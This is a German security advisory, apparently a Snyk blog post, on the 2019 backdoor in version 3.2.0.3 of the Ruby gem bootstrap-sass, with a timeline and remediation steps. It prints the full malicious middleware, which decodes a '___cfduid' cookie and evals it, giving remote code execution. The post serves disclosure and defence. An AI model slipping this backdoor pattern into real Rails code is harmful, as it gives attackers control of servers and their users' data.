Skip to main content

Schädliche Hintertür zur Remote-Codeausführung im beliebten Ruby-Gem bootstrap-sass entdeckt

Artikel von
backdoor discovered in Gem Header

4. April 2019

0 Min. Lesezeit

Am 26. März 2019 wurde eine schädliche Version des beliebten Pakets bootstrap-sass, das bis dahin insgesamt 28 Millionen Mal heruntergeladen worden war, im offiziellen RubyGems-Repository veröffentlicht. Version 3.2.0.3 enthält eine heimliche Hintertür, über die Angreifer auf Rails-Anwendungen auf Serverseite remote Befehle ausführen können.

Wir haben die Schwachstelle bereits zu unserer Datenbank hinzugefügt. Wenn Ihr Projekt von Snyk überwacht wird und Ihre Anwendung das schädliche Paket enthält, wurden Sie bereits durch unsere regelmäßigen Warnmeldungen benachrichtigt. Falls nicht, können Sie kostenlos testen, ob Ihre Anwendung von der schädlichen Version betroffen ist, indem Sie Ihr Anwendungs-Code-Repository mit Snyk überprüfen.

Wenn Sie feststellen, dass Ihre Rails-Anwendung das anfällige Projekt verwendet, handeln Sie sofort und ersetzen Sie als erste Gegenmaßnahme die anfällige Version 3.2.0.3 durch die erneut veröffentlichte Version 3.2.0.4. Ein Upgrade auf eine höhere Hauptversion ist dafür nicht erforderlich.

Am selben Tag eröffnete Derek Barnes ein GitHub-Issue für das Repository twbs/bootstrap-sass, in dem er ein Problem mit der schädlichen Version meldete und auf einen verdächtigen Codeausschnitt hinwies, der in Version 3.2.0.3 von bootstrap-sass enthalten ist.

Die Hintertür war geschickt in Version 3.2.0.3 versteckt, die ausschließlich auf RubyGems veröffentlicht wurde. Im GitHub-Repository gab es keinen Quellcode der schädlichen Version. So konnten Angreifer remote Code auf Servern ausführen, auf denen die anfälligen Versionen gehostet wurden.

Das Paket bootstrap-sass ist sehr beliebt, und die schädliche Hintertür könnte zahlreiche Nutzer betreffen. Das GitHub-Repository des Pakets hat mehr als 12.000 Sterne und verzeichnet insgesamt über 27 Millionen Downloads. Die aktuelle Version 3.4.1 wurde über 217.000 Mal heruntergeladen.

Eine kurze Analyse zeigt, dass rund 1.670 GitHub-Repositories durch die direkte Verwendung der schädlichen Bibliothek betroffen sein könnten. Diese Zahl steigt deutlich, wenn man ihre Verwendung in Anwendungen als transitive Abhängigkeit berücksichtigt.

Rückblick auf den zeitlichen Ablauf des Angriffs

  • Version 3.2.0.2 wurde aus der RubyGems-Registry entfernt. Das bedeutet, dass das Tarball direkt über das RubyGems-Repository weiterhin zugänglich ist, aber vom Paketmanager nicht angezeigt wird. Soweit wir feststellen können, ist diese Version nicht schädlich. Die Angreifer haben sie zurückgezogen, damit Nutzer auf die anschließend von ihnen veröffentlichte Version 3.2.0.3 aktualisieren.

  • Am 26. März veröffentlichten die Angreifer Version 3.2.0.3. In dieser Version ist eine Hintertür in einer neuen Datei versteckt: lib/active-controller/middleware.rb. Die Hintertür greift in ein anderes Ruby-Modul ein und verändert es, sodass bestimmte vom Client gesendete Cookies Base64-dekodiert und anschließend zur Laufzeit ausgewertet werden. Dadurch wird die Remote-Codeausführung ermöglicht.

  • Die schädliche Version 3.2.0.3 hat die SHA256-Prüfsumme 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.

  • Wir gehen davon aus, dass der Angreifer die Zugangsdaten zum Veröffentlichen des schädlichen RubyGems-Pakets von einem der beiden Maintainer erhalten hat. Dies wurde jedoch nicht offiziell bestätigt.

  • Am 26. März um 22:59 Uhr GMT eröffnete Derek Barnes ein Issue im öffentlichen Repository, um die Maintainer und die Community über seinen Verdacht bezüglich des Codes in Version 3.2.0.3 zu informieren.

  • Am 26. März um 23:56 Uhr GMT, nur eine Stunde später, wurde die schädliche Version aus dem RubyGems-Repository entfernt. Die Maintainer bestätigten, dass sie ihre Zugangsdaten aktualisiert hatten.

  • Da sowohl Version 3.2.0.2 als auch 3.2.0.3 entfernt wurden, mussten Nutzer auf andere verfügbare Versionen wie 3.4.1 aktualisieren, wie von den Projekt-Maintainern empfohlen.

  • Heute, am 3. April 2019 um 16:10 Uhr GMT, haben die Projekt-Maintainer Version 3.2.0.4 veröffentlicht. Sie ist identisch mit der zurückgezogenen Version 3.2.0.2, damit Nutzer einfach auf eine sichere Version aktualisieren können, ohne auf eine höhere Hauptversion wechseln zu müssen.

Update vom 4. April 2019, 16:46 Uhr: Die anfällige Version 3.2.0.2 wurde fälschlicherweise entfernt und war über Mirrors noch mehrere Tage in der RubyGems-Registry verfügbar. Es wurde nun gemeldet, dass sie endgültig nicht mehr verfügbar ist.

Die Schwachstelle im Detail

Um die schädliche Hintertür besser zu verstehen, müssen wir nachvollziehen, welche Rolle das Paket bootstrap-sass bei der Entwicklung von Ruby-Webanwendungen spielt.

bootstrap-sass ist ein offizielles Projekt, das aus dem übergeordneten Projekt Twitter Bootstrap hervorgegangen ist und eine SASS-basierte Version von Bootstrap 3 bereitstellt. SASS ist ein Tool, das Frontend-Entwicklern durch Funktionen wie Mixins, Variablen und bedingte Anweisungen eine höhere Abstraktionsebene zum Schreiben von CSS-Dateien bietet.

SASS-Tools werden hauptsächlich für Frontend-Assets verwendet und üblicherweise in einer Build-Phase eingesetzt, in der statische Assets erstellt und anschließend von statischen Webservern bereitgestellt werden. Für Ruby-on-Rails-Anwendungen, die sowohl Backend- als auch Frontend-Code ausführen, stellt das Projekt bootstrap-sass jedoch Ruby-Bindings bereit, die vom Framework verwendet werden.

Wenn eine Rails-Anwendung die Bibliothek bootstrap-sass verwenden soll, wird diese Abhängigkeit deklariert und die entsprechenden CSS-Importe werden aktualisiert, damit bootstrap-sass die CSS-Dateien zur Laufzeit kompilieren kann.

Beim Import von bootstrap-sass wird der folgende schädliche Middleware-Code aus lib/active-controller/middleware.rb importiert:

begin
 require 'rack/sendfile'
 if Rails.env.production?
   Rack::Sendfile.tap do |r|
     r.send :alias_method, :c, :call
     r.send(:define_method, :call) do |e|
       begin
         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
         eval(x) if x
       rescue Exception
       end
       c(e)
     end
   end
 end
rescue Exception
 nil
end

Die Hintertür kurz erklärt:

  • import rack/sendfile

  • Wenn die Rails-Anwendung in einer Produktionsumgebung läuft, ändern Sie die Methode call.

  • Durch das Monkey-Patching der Methode call wird die ursprüngliche Methode so geändert, dass sie ein vom Client gesendetes HTTP-Cookie namens ___cfduid einliest, es Base64-dekodiert und den dynamischen Code anschließend zur Laufzeit ausführt. Danach ruft sie die ursprüngliche call-Methode auf.

Was sollten Sie tun?

Wenn Ihr Projekt von Snyk überwacht wird und Ihre Anwendung dieses schädliche Paket enthält, wurden Sie bereits durch die regelmäßigen Warnmeldungen von Snyk benachrichtigt.

Falls Sie Ihre Projekte jedoch nicht mit Snyk überwachen, können Sie Ihr Open-Source-Projekt einmalig überprüfen, indem Sie hier klicken, um Ihre Repositories zu testen, oder unsere CLI verwenden, um Ihre Projekte lokal zu testen.

Ich bin betroffen. Was sollte ich als Nächstes tun?

Wenn Sie feststellen, dass Ihre Rails-Anwendung das anfällige Projekt verwendet, ersetzen Sie die derzeit anfällige Version 3.2.0.3 umgehend durch die erneut veröffentlichte Version 3.2.0.4. Das ist eine erste Gegenmaßnahme, für die kein Upgrade auf eine höhere Hauptversion erforderlich ist.

Wir empfehlen Ihnen, Ihre Repositories mit Snyk zu verbinden, damit Sie auch künftig schädliche Aktivitäten überwachen und weitere Schwachstellen in Ihrer Anwendung aufdecken können.

Starten Sie mit Capture the Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Herausforderungen lösen.

Weiterlesen

Blog

Frontier-Modelle fanden die Schwachstellen. Nur der Angreifer fand die Angriffsketten.

Die statische Analyse fand die Schwachstellen, doch erst Live-Angriffstests bewiesen, wie sie sich zu Angriffen verketten lassen. Ein Vergleich von Evo COS, Claude Security und Claude Code Security.

feature insights context
Blog

Autonome Angriffe sind bereits Realität. Die Verteidigung muss Schritt halten.

Autonome Angreifer verkürzen das Zeitfenster für die Verteidigung. Erfahren Sie, wie kontinuierliches Erkennen, Beheben, Validieren und Verhindern Sicherheitsteams helfen kann, Schritt zu halten.

Blog

Warum KI-Coding-Agenten immer wieder fehlerhafte Zugriffskontrollen schreiben

KI-Coding-Agenten können Autorisierungslogik erzeugen, die kompiliert und die Prüfung besteht, dabei aber die Daten eines Mandanten für einen anderen offenlegt. Erfahren Sie, warum fehlerhafte Zugriffskontrollen schwer zu erkennen sind und wie Sie sie verhindern.